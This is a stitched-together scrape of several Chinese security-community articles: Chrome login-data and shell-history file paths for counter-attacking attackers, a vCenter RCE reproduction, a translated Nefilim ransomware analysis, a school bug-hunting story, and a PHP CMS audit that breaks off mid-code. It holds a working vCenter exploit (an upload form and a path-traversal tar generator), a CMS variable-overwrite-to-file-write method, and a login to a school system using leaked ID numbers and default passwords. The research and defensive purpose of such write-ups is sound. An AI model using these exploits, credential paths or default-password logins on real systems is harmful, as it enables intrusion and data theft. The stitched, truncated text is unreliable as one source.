‘C:/Users/’ + username + ‘/AppData/Local/Google/Chrome/User Data/Default/Login Data’
chrome的历史记录
‘C:/Users/’ + username + ‘/AppData/Local/Google/Chrome/User Data/Default/History’
参考：https://www.anquanke.com/post/id/215696
# 6\. 反制mac
其实`mac`也是可以反制的
<https://mp.weixin.qq.com/s/jLKyCwgbTEbHm8M8SvO0Jg>
## 6.1 mac中的用户ID
在`mac`中我们通过通过读取系统日志的方式获取用户`ID`：
/var/log/system.log
## 6.2 mac中的微信id
/Users/{用户名}/Library/Containers/com.tencent.xinWeChat/Data/Library/Application Support/com.tencent.xinWeChat/2.0b4.0.9/topinfo.data
## 6.3 mac中的history
/Users/{用户名}/.bash_history
/Users/{用户名}/.zsh_history
# 7\. Windows下的mysql命令行反制
以上`mysql`连接数据库中，均是使用`Navicat`这个工具来做的，那现在进行思考：
如果对方不适用`Navicat`，直接使用命令行能否达到反制的效果呢？
在这里以`Windows`下的`mysql`来测试，获取的文件为`.aggressor.prop`
使用命令：
mysql -h **.*.7*.* -u root -p
此时`mysql`显示连接成功：
在这里依旧能够获得`cs`的连接信息：
流量：
# 8\. 防护方法
网上有很多这样的文章，下面这个师傅写的很详细了：
<https://mp.weixin.qq.com/s/f30RvhYlB97dXnjzv4_H_Q>
我认为最简单的方法：
1. 使用开源数据库，比如`DBeaver`
2. 使用`Navicat`的免安装版本（注意版权问题）
当然，现在还有一些问题，因为时间的问题，我没有细细学习，比如对于`linux`下的`mysql`命令行是否能够进行反制？
等以后有时间的话，再做详细的探索吧，感谢各位师傅的精彩文章。 | 社区文章 |
**作者： 图南 &Veraxy @ QAX CERT
原文链接：<https://mp.weixin.qq.com/s/eamNsLY0uKHXtUw_fiUYxQ>**
好久不见，已经很久没有写文章了，但我还有一颗想写文章的心。漏洞的复现总是冲着最终的目标去不断尝试，但是其中肯定会遇到很多疑问。每次遇到疑问都会挖一些坑留着通过学习慢慢填，但因为工作性质变更的原因，很多坑留着也就留着了，填的很少。最近逼着自己去填一点坑，至少作为笔记积累一些知识，然后有机会写出来讲明白它（讲真我一直觉得讲明白一件事儿比自己明白更难且更耗时间）虽然刚刚填了一个，也算是良好的开始吧，至少让大家知道我还没有丢掉安全研究。那么就从vCenter
RCE 漏洞开始吧。
对了，文章不包含深入的漏洞分析，因为漏洞分析部分漏洞的发现者已经写的相当详细了，看[Unauthorized RCE in VMware
vCenter](https://swarm.ptsecurity.com/unauth-rce-vmware/)这篇文章即可。
## 0x00 文章导航
### 避开所有坑快速复现这个漏洞
可浏览 **0x01 漏洞环境搭建** ——> **按照以下方式搭建一定能成功** 和 **0x02 漏洞PoC构造** ——>
**按照以下方式构造一定能成功**
### 通过问题引导方式浏览
如果你也遇到了类似问题看这里
_搭建环境总是失败_
浏览 **0x01 漏洞环境搭建** ——> **坑1:此方法不要使用7.0.x的iso镜像，会有一个无解的BUG！**
**坑2:虚拟机网络适配器选择NAT模式无法保存主机名**
_手动修改上传数据包导致失败和使用macOS的tar打包会出问题_
浏览 **0x02 漏洞PoC构造** ——> **坑2：为什么不能直接修改数据包？**
**~~为什么会有zip的PoC，原因是什么？~~** （这个没空研究了，大佬们继续～）
### 文章参考
1. <https://en.wikipedia.org/wiki/Tar_(computing)>
2. <https://swarm.ptsecurity.com/unauth-rce-vmware/>
3. <https://www.gnu.org/software/tar/manual/html_node/Standard.html>
4. [https://www.freebsd.org/cgi/man.cgi?query=tar&apropos=0&sektion=5&manpath=FreeBSD+7.0-RELEASE&arch=default&format=html](https://www.freebsd.org/cgi/man.cgi?query=tar&apropos=0&sektion=5&manpath=FreeBSD+7.0-RELEASE&arch=default&format=html)
## 0x01 漏洞环境搭建
遇到一个漏洞，我总会想这个应用/软件/产品在生产环境中跑起来是什么样子的，小一点的还好说，我能想象到一些使用场景，但是大一点的和我接触不深的领域就比较苦恼了。vCenter默认和ESXi搭配使用，这里强烈建议大家有条件去搭建ESXi和vCenter配合使用。可参考：[【Vmware学习教程五】VMware
vCenter 6.7安装及群集配置介绍（一）](https://www.miensi.com/352.html)
但是这两个都是大家伙，消耗内存非常大，我没有继续研究这两个大家伙配合的情况（qiong，高配电脑太贵了），下面介绍一种相对快速的搭建方式。
### 按照以下方式搭建一定能成功
**第一阶段安装**
从[VMware官网](https://my.vmware.com/group/vmware/patch#search)下载VMware-VCSA-all-6.7.0-17028579.iso，一定先下载这个版本不要下载7.0，为啥不能下7.0后面会讲到。
然后挂载ISO文件后会看到有个ova文件：
我们要用将它导入到VMware虚拟机安装，我这里用的VMware Fusion Player 12.0.0：
部署选项选择Tiny即可：
然后按照引导安装，网络配置参考宿主机，设置成相同的网段、相同的网关和DNS，以便后续顺利访问。
假如宿主机IP为`192.168.18.2`（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=192.168.18.2)），网关和DNS均为`192.168.18.1`（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=192.168.18.1)），子网掩码为`255.255.255.0`（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=255.255.255.0)）,那么我们就设置如下：
然后配置SSO用户密码、root用户和密码，即可完成安装。 这里有个 **小坑**
：root用户名和密码不要很复杂，我这里用的root/root。之前设置了有大小写和特殊字符的密码死活登录不上，我以为我自己把密码忘记了，但是重装依然不行，暂不明原因，这个不深究了。
然后再继续即可导入成功，虚拟机会自动启动进行初始化。
此时查看下虚拟机网络适配器模式应为桥接模式，不用更改。初始化OK了如下图：
此时域名为 photon-machine，我们没有对应的DNS，所以手动修改域名为刚才设置的IP（192.168.18.5（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=192.168.18.5)））。按“F2”手动修改域名，“enter”进入网络配置：
进入DNS配置将主机名从默认的photon-machine修改为IP地址（192.168.18.5（[ZoomEye搜索结果](192.168.18.5)））：
然后重启网络，等一会儿：
回到了刚刚的页面，这时之前的域名已经变成了IP：
至此第一阶段安装已经完成了，这个过程顺利的话5分钟搞定，主要时间花费在第一次启动虚拟机初始化的过程。
**第二阶段安装**
访问`https://192.168.18.5:5480/`继续配置：
选择设置后用root账号登陆：
按照向导继续配置，注意在网络配置阶段把系统名称修改为IP：
这里又有一个 **小坑**
，系统名称这里应该会检查是否能真正访问到这个地址，所以我们使用桥接模式，前面修改主机名为IP地址的操作都是为了这一步能顺利，否则这里很容易出现“无法保存主机名”的错误。
然后设置SSO密码，一路下一步，就基本不会再遇到什么坑了。 第二阶段开始安装的时候基本就是纯等待，会比较慢，去喝口水、冲杯咖啡、泡个茶、吃个饭、睡一觉吧……
第二阶段安装完成会打开443端口，就可以正常访问vCenter也可以正常调漏洞了。
### 坑1:此方法不要使用7.0.x的iso镜像，会有一个无解的BUG！
在刚开始复现漏洞的时候，我很自然的选择了修复版本的前一个受影响版本：7.0.1，
**但是第二阶段安装无论使用什么域名和什么IP地址作为系统名称，都会出现无法保存IP设置的错误** ：
抱着有问题一定是我的问题的想法重装、改配置、再重装、再改配置、再重装、再改配置。。。都无法解决这个问题。最后我去谷歌搜到了这样的结果：
翻译下来就是在浏览器中通过5480端口进行网络配置会报错无法保存IP设置，（正常安装应该不会有类似问题）解决方案：无…… 快速搭环境的话绕开7.0.x吧。
### 坑2:虚拟机网络适配器选择NAT模式无法保存主机名
这个坑应该是我配置的问题吧，可能不算普遍但是已经有两个人遇到了相同问题了，表现为无论如何改主机名都提示无法保存主机名，也尝试过改其他网络配置、DNS等，没有解决，遂使用桥接模式绕开。
## 0x02 漏洞PoC构造
### 按照以下方式构造一定能成功
**使用HTML构造文件上传页面**
漏洞刚传出来还没有什么细节的时候，我就从一些截图中注意到了`Content-Type: multipart/form-data`，不同于传统的Form表单`application/x-www-form-urlencoded`，`multipart/form-data`更适合发送大量二进制数据（文件）或非ASCII数据。关于这两种Content-Type的详细信息，可阅读W3C的相关文档[Forms](https://www.w3.org/TR/html401/interact/forms.html#h-17.13.4)。
根据漏洞触发点的代码可以得知，需要构造一个使用`multipart/form-data`的文件上传，并且上传控件的name应为`uploadFile`：
所以可以直接构造一个上传控件直接上传文件到漏洞点：
<html>
<body>
<form id="upload-form" action="https://192.168.18.5/ui/vropspluginui/rest/services/uploadova" method="post" enctype="multipart/form-data" >
<input type="file" id="upload" name="uploadFile" /> <br />
<input type="submit" value="Upload" />
</form>
</body>
</html>
**使用代码构造tar文件**
继续看漏洞触发点代码，可以看出真正导致解压文件到任意路径的`entry.getName()`目的是迭代每一个压缩实体时获取文件名，可能这样说并不清楚，举个例子，文件a.txt和文件b.txt被压缩到了文件c.tar，在解压时会分别获取c.tar中的`a.txt`文件名和`b.txt`文件名，拼接到了`/tmp/unicorn_ova_dir`中。那么若将a.txt换成`../a.txt`就将a.txt这个文件释放到了`/tmp`目录下。
但是实际上你很难创建一个名为`../a.txt`的文件并将其压缩成tar，所以可以通过以下代码去创建一个压缩包并释放到我们想释放的地方：
import tarfile
import os
from io import BytesIO
with tarfile.open("test.tar", 'w') as tar:
payload = BytesIO()
data = 'hacked_by_tunan'
tarinfo = tarfile.TarInfo(name='../../home/vsphere-ui/hacked_by_tunan')
f1 = BytesIO(data.encode())
tarinfo.size = len(f1.read())
f1.seek(0)
tar.addfile(tarinfo, fileobj=f1)
tar.close()
payload.seek(0)
这里面有两个坑， **小坑1：我们不能直接将文件释放到根目录下** ，因为这个接口只有`vsphere-ui`用户的权限，我们只能释放到`vsphere-ui`用户能写入文件的地方。 **大坑2：我们不能通过BurpSuite等工具直接改数据包** ，这个坑我要详细讲一讲。
### 坑2：为什么不能直接修改数据包？
假如我们自己使用Linux打包tar，然后上传抓包，可以看到这样的数据包：
明白了漏洞原理，很容易就会想到直接将最开始的文件名改成`../`的形式去释放到对应的目录，但是最终会返回FAILED：
我相信复现漏洞卡在这里的肯定不在少数，为什么会这样呢？这里需要深入研究一下tar文件了。
### tar文件构成
我们不妨使用任意HAX编辑器打开我们的tar压缩文件看一看：
看起来挺乱的？不慌，按照FreeBSD的文档和源码对比分解一下即可，并不难。
众所周知，tar文件可以将一个或多个文件或目录打包成一个单独的文件，作为一个通用的文件格式，需要保证任何系统和软件都能正确的解释文件tar文件的每个字节的定义必须明确。
**tar文件是由一系列文件对象组成** ，每个文件对象包含一个 **512字节的头** 和 **实际文件数据**
。本着如无必要，勿增实体的原则，我们本文只讨论上面`poc.tar`单个文件的头部分。
头部分分别包含以下内容：
名称 | 释义 | 占用字节 | 字段含义
---|---|---|---
name | 文件名/路径名 | 100 | 以空值结尾的字符串，可以是文件名也可以是路径名
mode | 文件模式 | 8 | 八进制数字表示的文件格式，一般为三种不同用户类型和三种不同权限的组合，常见的有644、777等
uid | 用户ID | 8 | 八进制表示的文件所有者用户ID
gid | 群组ID | 8 | 八进制表示的文件所有者群组ID
size | 文件大小 | 12 | 八进制表示的文件大小
mtime | 文件修改时间 | 12 | 从1970年1月1日到文件修改时间的秒数，八进制表示
**checksum** （划重点） | 头的校验和 | 8 |
**为六个ASCII八进制数字后面跟一个空（0x00）和一个空格（0x20）若计算头的校验和，需要先将512字节头中的校验和字段的每个字节全部设置为空格（0x20），然后再将所有头部字节全部相加，输出为无符号整型，转换成八进制填充到前6字节中**
typeflag | 存档文件类型 | 1 | 类型指示作用，早期版本为linkflag，0为常规文件，1为硬链接，2为符号连接、3为字符特殊文件等
linkname | 链接名 | 100 | 链接文件名，常规文件为空`0x00`
magic | 魔术头 | 6 | 固定为`ustar`跟一个空格`0x20`（版本不同会有所不同）
version | 版本 | 2 | 固定为空格`0x20`后面跟一个空`0x00`（版本不同会有所不同）
uname | 用户名 | 32 | 以空值结尾的字符串，用来表示用户名
gname | 群组名 | 32 | 以空值结尾的字符串，用来表示群组名
devmajor | 设备主编号 | 8 | 字符设备或块设备输入的主要编号
devminor | 设备次编号 | 8 | 字符设备或块设备输入的次要编号
prefix | 前缀 | 155 |
路径名前缀，如果第一部分name中的路径名过长，大于100字节，可以将其以任意`/`字符拆分，放置于此处。解析器应将其拼接获取完整路径名
pad | 填充 | 12 | 为了凑完整的512字节，填充12个字节的`0x00`
那么我们可以把上面的文件分解如下：
字段 | 值 | 值（ASCII表示）
---|---|---
name | 0x2E 0x2F 0x31 0x2E 0x74 0x78 0x74 0x00…… | ./1.txt
mode | 0x30 0x30 0x30 0x30 0x36 0x34 0x34 0x00 | 0000644
uid | 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x00 | 00000000
gid | 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x00 | 00000000
size | 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x32 0x30 0x00 |
00000000020
mtime | 0x31 0x34 0x30 0x32 0x31 0x31 0x32 0x34 0x32 0x31 0x30 0x00 |
14021124210
checksum | 0x30 0x31 0x30 0x35 0x36 0x35 0x00 0x20 | 010565
typeflag | 0x30 | 0
linkname | 0x00 0x00…… | ——
magic | 0x75 0x73 0x74 0x61 0x72 0x20 | ustar
version | 0x20 0x00 |
uname | 0x72 0x6F 0x6F 0x74 0x00 0x00…… | root
gname | 0x72 0x6F 0x6F 0x74 0x00 0x00…… | root
devmajor | 0x00 0x00…… | ——
devminor | 0x00 0x00…… | ——
prefix | 0x00 0x00…… | ——
pad | 0x00 0x00…… | ——
filecontent | 0x68 0x61 0x63 0x6B 0x65 0x64 0x5F 0x62 0x79 0x5F 0x74 0x75 0x6E
0x61 0x6E 0x00 0x00…… | hacked_by_tunan
再次看一下刚才那个文件在HAX编辑器下的截图是不是瞬间就不那么懵了？
**那么详细说一下刚才划重点的checksum**
，这个位置是整个头部的校验和，想计算它的值，需要先把这checksum这八位填充为空格（0x20）然后再把整个头部字节相加成无符号整型，然后再换算成八进制，填充到checksum字段的前六位，第七位和第八位分别填充空（0x00）和空格（0x20），即组成了完整的文件头部。
所以我读tar的各种实现的时候可以看到这样的代码：
def calc_chksums(buf):
"""Calculate the checksum for a member's header by summing up all
characters except for the chksum field which is treated as if
it was filled with spaces. According to the GNU tar sources,
some tars (Sun and NeXT) calculate chksum with signed char,
which will be different if there are chars in the buffer with
the high bit set. So we calculate two checksums, unsigned and
signed.
"""
unsigned_chksum = 256 + sum(struct.unpack_from("148B8x356B", buf))
signed_chksum = 256 + sum(struct.unpack_from("148b8x356b", buf))
return unsigned_chksum, signed_chksum
# …… #
buf = struct.pack("%ds" % BLOCKSIZE, b"".join(parts))
chksum = calc_chksums(buf[-BLOCKSIZE:])[0]
buf = buf[:-364] + bytes("%06o\0" % chksum, "ascii") + buf[-357:]
# …… #
还有这样的代码：
unsigned int calculate_checksum(struct tar_t * entry){
// use spaces for the checksum bytes while calculating the checksum
memset(entry -> check, ' ', 8);
// sum of entire metadata
unsigned int check = 0;
for(int i = 0; i < 512; i++){
check += (unsigned char) entry -> block[i];
}
snprintf(entry -> check, sizeof(entry -> check), "%06o0", check);
entry -> check[6] = '\0';
entry -> check[7] = ' ';
return check;
}
还有我手写的计算已生成文件头部校验和的代码
const fs = require('fs');
fs.readFile('test.tar', function (err, data) {
if (err) throw err;
const headers = data.slice(0, 512);
const body = data.slice(512);
let sum = 8 * 0x20
for (let i = 0; i < 148; i++)
sum += headers[i]
for (let i = 156; i < 512; i++)
sum += headers[i]
console.log(sum.toString(8));
})
**那么刚才的数据包是真的不能手动改么？非也！** 同时修改文件名部分和校验和即可。以下是数学题：
假如我们将`./1.txt`修改为`../1.txt`使其进入`/tmp`目录下，已知`.` **十六进制** 表示为`0x2E`，原校验和为 _八进制_
`10565`。 原始数据包`name`字段去掉一位空字节（0x00）补上`.`（0x2E），然后重新计算校验和。换算 _八进制_ 原校验和`10565`到
**十六进制**`0x1175`加 **十六进制**`0x2E`得`0x11A3`，再换算成 _八进制_ `10643`……很快啊，新的校验和出来了！
大胆修改数据包吧！
那么关于在macOS上使用自带tar软件打包后修改包失败问题，也是校验和错误的问题。他们都遵守了相同的规范，自行调试下即可。
## 0x03 总结&尾巴
这个漏洞从原理到复现都不算难，所以文章本身没有什么创新的，更像是我的一点研究笔记并想办法将我研究的内容讲出来讲明白，或者能帮助大家解答一些之前复现时候的疑问让大家看了能恍然大明白也算这篇文章的一点贡献。通过这篇文章，我也想传递一种观点，漏洞研究其实不应该只盯着漏洞本身，漏洞可以扩展的知识点太多了：
**偏应用一点：** 了解这个软件/组件/中间件是干什么的的、尝试搭建起来写点代码看看他们跑起来的样子。
**偏底层一点：**
研究漏洞接触到的相关知识点，可能是Linux/Windows相关的，文件相关的，甚至是某个协议规范、某个算法的实现、某个数据结构、某种设计思想。
**偏攻击一点：** 漏洞如何EXP化、如何回显搞定不出网的环境、如何让内网设备无感知攻击的存在、如何加载内存马等。
**偏漏洞挖掘：** 去找一下类似的利用点，或者这个新的软件/组件/中间件是否能带给你一些新的漏洞挖掘思路。
…… 总之太多知识和事情可以从一个漏洞扩展出来，学海无涯，技术无边，学无止境，你我共勉。
* * * | 社区文章 |
**原文：[Meet NEMTY Successor, Nefilim/Nephilim
Ransomware](https://labs.sentinelone.com/meet-nemty-successor-nefilim-nephilim-ransomware/ "Meet NEMTY Successor, Nefilim/Nephilim Ransomware")
译者：知道创宇404实验室翻译组**
现在是一个研究跟踪勒索软件趋势的有趣时机，特别是在过去的一两年里，我们已经看到“主流”勒索软件甚至进一步扩展到了数据勒索和盗窃领域。对文件进行加密是一回事，但必须将每一个勒索软件感染都视为违规行为，这给这些攻击活动的受害者增加了多层复杂性。对于GDPR以及现在类似法律和合规性障碍，这尤其复杂。
勒索软件家族，如Maze、CLOP、DoppelPaymer、Sekhmet和Nefilim/Nephilim都是威胁的案例，一旦感染，就会给受害者带来相当复杂的问题。虽然Maze、DopplePayer和REvil往往会得到大量媒体报道，但Nephilim是另一个迅速发展的家族，它发起了多起破坏性活动。如果受害者不能“配合”他们的要求，他们就会公布受害者的敏感信息。
### 概述
Nefilim出现于2020年3月，与另一个勒索软件家族NEMTY共享相当一部分代码。NEMTY和Nefilim/Nephilim背后的确切关系尚不清楚。
NEMTY于2019年8月作为一个公共项目推出，之后转为私有。目前的数据表明，在这两个家族背后的不是同一个人，更有可能的是，Nephilim背后的人以某种方式从NEMTY那里“获得”了必要的代码。
Nefilim和NEMTY的两个主要区别是支付模式，以及缺少RaaS操作。Nefilim指示受害者通过电子邮件与攻击者联系，而不是将他们引导到基于torm的支付网站。为了使家谱更加混乱，Nefilim似乎演变为了“Nephilim”，两者在技术上相似，主要区别在于扩展名和加密文件中的工件。
然而，也有情报表明，NEMTY已经继续并分支到一个新的“NEMTY
Revenue”版本。在此之前，NEMTY的幕后主使宣布他们将把威胁私有化(不再公开访问RaaS行动)。
从技术上讲，Nephilim与其他著名的勒索软件家族没有什么不同。目前主要的传播方法是利用易受攻击的RDP服务。一旦攻击者通过RDP破坏了环境，他们就会继续建立持久性，在可能的情况下查找和窃取其他凭证，然后将勒索软件的payload传播给潜在目标。
### Nephilim加密协议
在Nephilim样本中我们分析了实际的文件加密是通过标签组AES-128和RSA-2048处理的。注意，Nefilim/Nephilim背后的原始供应商也这样做。
特定的文件使用AES-128加密。此时，使用RSA-2048公钥加密AES加密密钥。公钥随后被嵌入到勒索软件的可执行payload中。这是一个不同于纯NEMTY的区域，后者已知使用了不同的密钥长度。例如，早期版本的NEMTY使用RSA-8192作为“主密钥”，用于加密目标配置数据和其他密钥(src:
Acronis)。
我们还知道NEMTY的变体使用RSA-1024公钥来处理AES加密密钥。此外，在早期版本的NEMTY中，处理特定大小范围的文件的方式也存在差异。NEMTY的后续版本(又名NEMTY
REVENUE 3.1)在计数器模式下利用AES-128和RSA-2048加密AES密钥。
目前，只有Nephilim背后的参与者能够解密受影响的文件。也就是说，没有已知的漏洞或方法来绕过攻击者对加密文件的保护。
### 感染后的行为
感染后，加密文件的扩展名为.nefilim或.Nephilim。在包含加密文件的目录中存放着类似的名为ransom的记录。
在某些情况下，对于Nephilim，“nephilm –
decrypt.txt”将只写入~\AppData\Local\VirtualStore。本地存储的桌面壁纸的位置和名称各不相同。在最近的Nephilim感染中，备用桌面映像被写入%temp%，文件名为‘god.jpg’。
### 字符串，区别特征
Nephilim的另一个特点是使用嵌入的字符串和编译器路径来发送“微妙的信息”，主要是向研究人员和分析人员发送。例如，以下编译器路径可以在这些示例中找到(均在2020年4月7日编译):
b8066b7ec376bc5928d78693d236dbf47414571df05f818a43fb5f52136e8f2e
fcc2921020690a58c60eba35df885e575669e9803212f7791d7e1956f9bf8020
而样本为：
d4492a9eb36f87a9b3156b59052ebaf10e264d5d1ce4c015a6b0d205614e58e3
从2020年3月开始包含对特定AV厂商的额外攻击。
该样本来源于[@malwrhunterteam](https://twitter.com/malwrhunterteam/status/1247495429505323008
"@malwrhunterteam")
在3月13号的[推文](https://twitter.com/malwrhunterteam/status/1247495429505323008
"推文")。
### 羞辱策略
Nefilim/Nephilim还威胁说，如果受害者拒绝配合要求，他们将公布敏感信息，这一点在这张典型的Nephilim勒索信中得到了证明。
受害者试图谈判或拒绝付款都属于不遵守规定的范畴。迄今为止，已有两家公司在Nephilim的“shaming”网站（clearnet和基于TOR的网站）上发布。值得注意的是，最初，其网站上列出的所有公司都是石油和能源公司。但是，在2020年4月23日至4月27日期间，该组织又在现场增加了三名受害者。其中一家是另一家大型石油和天然气公司，另外两家则被归类为“服装和时装”和“工程与建筑服务”。
其他多个勒索软件家族也遵循相同的做法，将“基本”勒索软件感染转变为完全（有时是灾难性的）数据泄露。使用该模型的其他知名家族包括Maze、REvil
DoppelPaymer、CLOP、Sekhmet，以及最近的Ragnar。我们注意到，Nefilim/Nephilim也是“发誓”在当前新冠疫情大流行期间不攻击医疗实体、非营利组织和其他“关键”实体的家族之一。
### 结论
保护你的环境免受像Nephilim这样的威胁比以往任何时候都更加重要。为了防止数据丢失和大规模数据泄露的后果，企业必须依赖于一个现代的、受良好维护的、适当调整的、受信任的安全解决方案。预防是这些攻击的关键。即使可以通过解密器、备份或回滚来减轻加密/数据丢失的情况，受害者仍然面临其数据公开发布的问题。我们鼓励我们的客户分析和理解威胁，并采取迅速而适当的行动以防止事故发生。
为了方便起见，我们在下面提供了SHA256和SHA1哈希。
SHA256
8be1c54a1a4d07c84b7454e789a26f04a30ca09933b41475423167e232abea2b
b8066b7ec376bc5928d78693d236dbf47414571df05f818a43fb5f52136e8f2e
3080b45bab3f804a297ec6d8f407ae762782fa092164f8ed4e106b1ee7e24953
7de8ca88e240fb905fc2e8fd5db6c5af82d8e21556f0ae36d055f623128c3377
b227fa0485e34511627a8a4a7d3f1abb6231517be62d022916273b7a51b80a17
3bac058dbea51f52ce154fed0325fd835f35c1cd521462ce048b41c9b099e1e5
353ee5805bc5c7a98fb5d522b15743055484dc47144535628d102a4098532cd5
5ab834f599c6ad35fcd0a168d93c52c399c6de7d1c20f33e25cb1fdb25aec9c6
52e25bdd600695cfed0d4ee3aca4f121bfebf0de889593e6ba06282845cf39ea
35a0bced28fd345f3ebfb37b6f9a20cc3ab36ab168e079498f3adb25b41e156f
7a73032ece59af3316c4a64490344ee111e4cb06aaf00b4a96c10adfdd655599
08c7dfde13ade4b13350ae290616d7c2f4a87cbeac9a3886e90a175ee40fb641
D4492a9eb36f87a9b3156b59052ebaf10e264d5d1ce4c015a6b0d205614e58e3
B8066b7ec376bc5928d78693d236dbf47414571df05f818a43fb5f52136e8f2e
fcc2921020690a58c60eba35df885e575669e9803212f7791d7e1956f9bf8020
SHA1
4595cdd47b63a4ae256ed22590311f388bc7a2d8
1f594456d88591d3a88e1cdd4e93c6c4e59b746c
6c9ae388fa5d723a458de0d2bea3eb63bc921af7
9770fb41be1af0e8c9e1a69b8f92f2a3a5ca9b1a
e99460b4e8759909d3bd4e385d7e3f9b67aa1242
e53d4b589f5c5ef6afd23299550f70c69bc2fe1c
c61f2cdb0faf31120e33e023b7b923b01bc97fbf
0d339d08a546591aab246f3cf799f3e2aaee3889
bbcb2354ef001f476025635741a6caa00818cbe7
2483dc7273b8004ecc0403fbb25d8972470c4ee4
d87847810db8af546698e47653452dcd089c113e
E94089137a41fd95c790f88cc9b57c2b4d5625ba
Bd59d7c734ca2f9cbaf7f12bc851f7dce94955d4
f246984193c927414e543d936d1fb643a2dff77b
d87847810db8af546698e47653452dcd089c113e
* * * | 社区文章 |
### 0x00简介
半年前，我也尝试过挖edusrc，直接用APPscan、AWVS、等工具直接扫，有一些身份证信息泄漏，不知什么原因，没有通过，信心丧失。
如今又学了半年，感觉自己又行了，再次尝试，喜获一个低危edusrc，虽然没有技术深度，把我挖洞的心路历程总结下来，希望能给大家一些帮助。
### 0x01前言
我一开也不知道如何动手挖，然后想出一个思路，就是看挖洞的文章，然后模仿师傅们去一步去做，他们能挖到那你也可能能挖到，这个过程能学到很多东西。
0x02第一步：看大佬的文章
这是我首先参照的大佬文章<https://forum.90sec.com/t/topic/2069>
### 0x03第二步：根据大佬所言按部就班
据大佬所说：挖洞难度：证书大学站> 资产多的普通大学 > 资产多的职业学院 > 有账号密码能进内网，开始是去找那种职业学院打的，大概是排行榜50多页的学校。
于是我在挑了一个排行50多页的学校
据大佬所说：因为一些带专网站的安全意识比较差的，所以有时候能遇到那种弱口令进后台文件上传拿shell的，关于弱口令：用户名一般是admin
，密码一般是123456，admin，888888 三选一，不是的话可以撤退了。
于是我就开始找网站后台，由于菜，所以先手动找，就是一个院系、一个部门的找，顺便看一下信息泄漏、XSS，在找后台的过程中发现多出信息泄露，这些信息泄漏为后续渗透有很大帮助。
如下结果：
1.我在他们学校官网上翻到了一个表彰信息，但是微信公众号发布的，里面的图片有两个暴露了个人姓名身份证，如图
2.我在他们网站的一个失物招领处，发现了他将别人的身份证发了出来 ，如图
3.我在他们官网发现了他们学校的录取新生信息涉及4000个学生的姓名准考证号，如图。
找到多个后台，测试弱口令无果。
### 0x04第三步：再参照另一位大佬所言按部就班
另一位大佬的文章<https://xz.aliyun.com/t/11071>
据大佬所说：cms本身是有漏洞的，并且网上存在poc。
于是我检测了一下找到的登录站点，根据登录界面的扫描二维码提示，发现是通达OA系统。
于是去网上寻找poc，并用工具验证，发现不存在漏洞。
我检测了另一个登录界面时，发现为正方教务系统，并且存在漏洞，但是找了一晚上没找到poc。
我检测了另一个登录界面时，发现这个登录界面，可以根据身份证查学号、工号，并且下面提示默认密码为身份证为后6位。
根据前面的信息搜集的身份证泄漏，反查账户，再根据默认密码，成功进入后台。
正巧，这是一个老师的账户，可以进教师教务系统，可以查看学生信息，有根据学号和身份证后六位进入学生后台。
由于技术有限，在后台不敢操作，怕影响业务，最后将结果进行提交，信息泄漏活动一个低危漏洞，并成功活动edusrc的账号。
### 0x05总结
不会走先学爬，比葫芦画瓢，慢慢积累实战经验。
不会走先学爬，比葫芦画瓢，慢慢积累实战经验。
不会走先学爬，比葫芦画瓢，慢慢积累实战经验。 | 社区文章 |
### 前言
其实这周打算开始学Blockchain智能合约的，但是网络不行。。。先鸽一下。
起因是之前在等核酸结果，就顺便看了一下医院的管理系统，发现是某博。和有关部门要了授权，尝试了一下。
### 安装CMS
其实这一步没啥说的，但是很有可能会遇到因浏览器、编辑器编码格式不同造成的乱码，记得修改一下，不过有可能自己写的代码会报错。。。
### 代码审计
#### 变量覆盖+Getshell组合拳
之前又有看到是一个老洞，这张图一年之前前我见过，不过据说好像很鸡肋。
我们直接去看`fujsarticle.php`
跟进`global.php`：
require_once(dirname(__FILE__)."/"."../inc/common.inc.php"); //核心文件
引用了`/inc/common.inc.php`，继续跟进，在其中就能找到一段有问题的代码，
<?php
...
$_POST=Add_S($_POST);
$_GET=Add_S($_GET);
$_COOKIE=Add_S($_COOKIE);
...
foreach($_COOKIE AS $_key=>$_value){
unset($$_key);
}
foreach($_POST AS $_key=>$_value){
!ereg("^\_[A-Z]+",$_key) && $$_key=$_POST[$_key];
}
foreach($_GET AS $_key=>$_value){
!ereg("^\_[A-Z]+",$_key) && $$_key=$_GET[$_key];
}
使用`foreach`来遍历数组中的值，然后再将获取到的数组键名作为变量，数组中的键值作为变量的值。因此就产生了变量覆盖漏洞。
具体情况我们可以编写一段代码测试一下：
<?php
error_reporting(0);
$id=111111;
echo $id;
echo "</br>";
foreach($_COOKIE AS $_key=>$_value){
unset($$_key);
}
foreach($_POST AS $_key=>$_value){
!ereg("^\_[A-Z]+",$_key) && $$_key=$_POST[$_key];
}
foreach($_GET AS $_key=>$_value){
!ereg("^\_[A-Z]+",$_key) && $$_key=$_GET[$_key];
}
$id;
echo $id;
?>
请求?id=test 会将`$id`的值覆盖
简单来说`id`在一开始被初始化，后来经过`foreach`进行遍历，变量就会被覆盖。同理，当我们构造`FileName`时，遍历后没有再次初始化，导致变量覆盖。然后`FileName`进行传递
<?php
...
$FileName=dirname(__FILE__)."/../cache/fujsarticle_cache/";
if($type=='like'){
$FileName.=floor($id/3000)."/";
}else{
unset($id);
}
...
if(!is_dir(dirname($FileName))){
makepath(dirname($FileName));
}
if( (time()-filemtime($FileName))>($webdb["cache_time_$type"]*60) ){
write_file($FileName,"<?php \r\n\$show=stripslashes('".addslashes($show)."'); ?>");
}
<?php
$show=stripslashes('<div class=\\\'side_t\\\' style=\\\'height:24px;background:url(http://localhost/qibo_v7/images/default/ico_block.gif) no-repeat 0px 3px;padding-left:15px;\\\'><A target=\\\'_blank\\\' HREF=\\\'http://localhost/qibo_v7/bencandy.php?fid=14&id=542\\\' title=\\\'</div>'); ?>
在当前目录生成了`hint.php`，并生成了特定内容。
同理，我们可以覆盖指定文件导致数据库配置错误`/data/mysql_config.php`。
但是这只是第一步，接下来准备想办法写入shell。
跟进`jf.php`
<?php
require(dirname(__FILE__)."/"."global.php");
$lfjdb && $lfjdb[money]=get_money($lfjdb[uid]);
$query = $db->query("SELECT * FROM {$pre}jfsort ORDER BY list");
while($rs = $db->fetch_array($query)){
$fnameDB[$rs[fid]]=$rs[name];
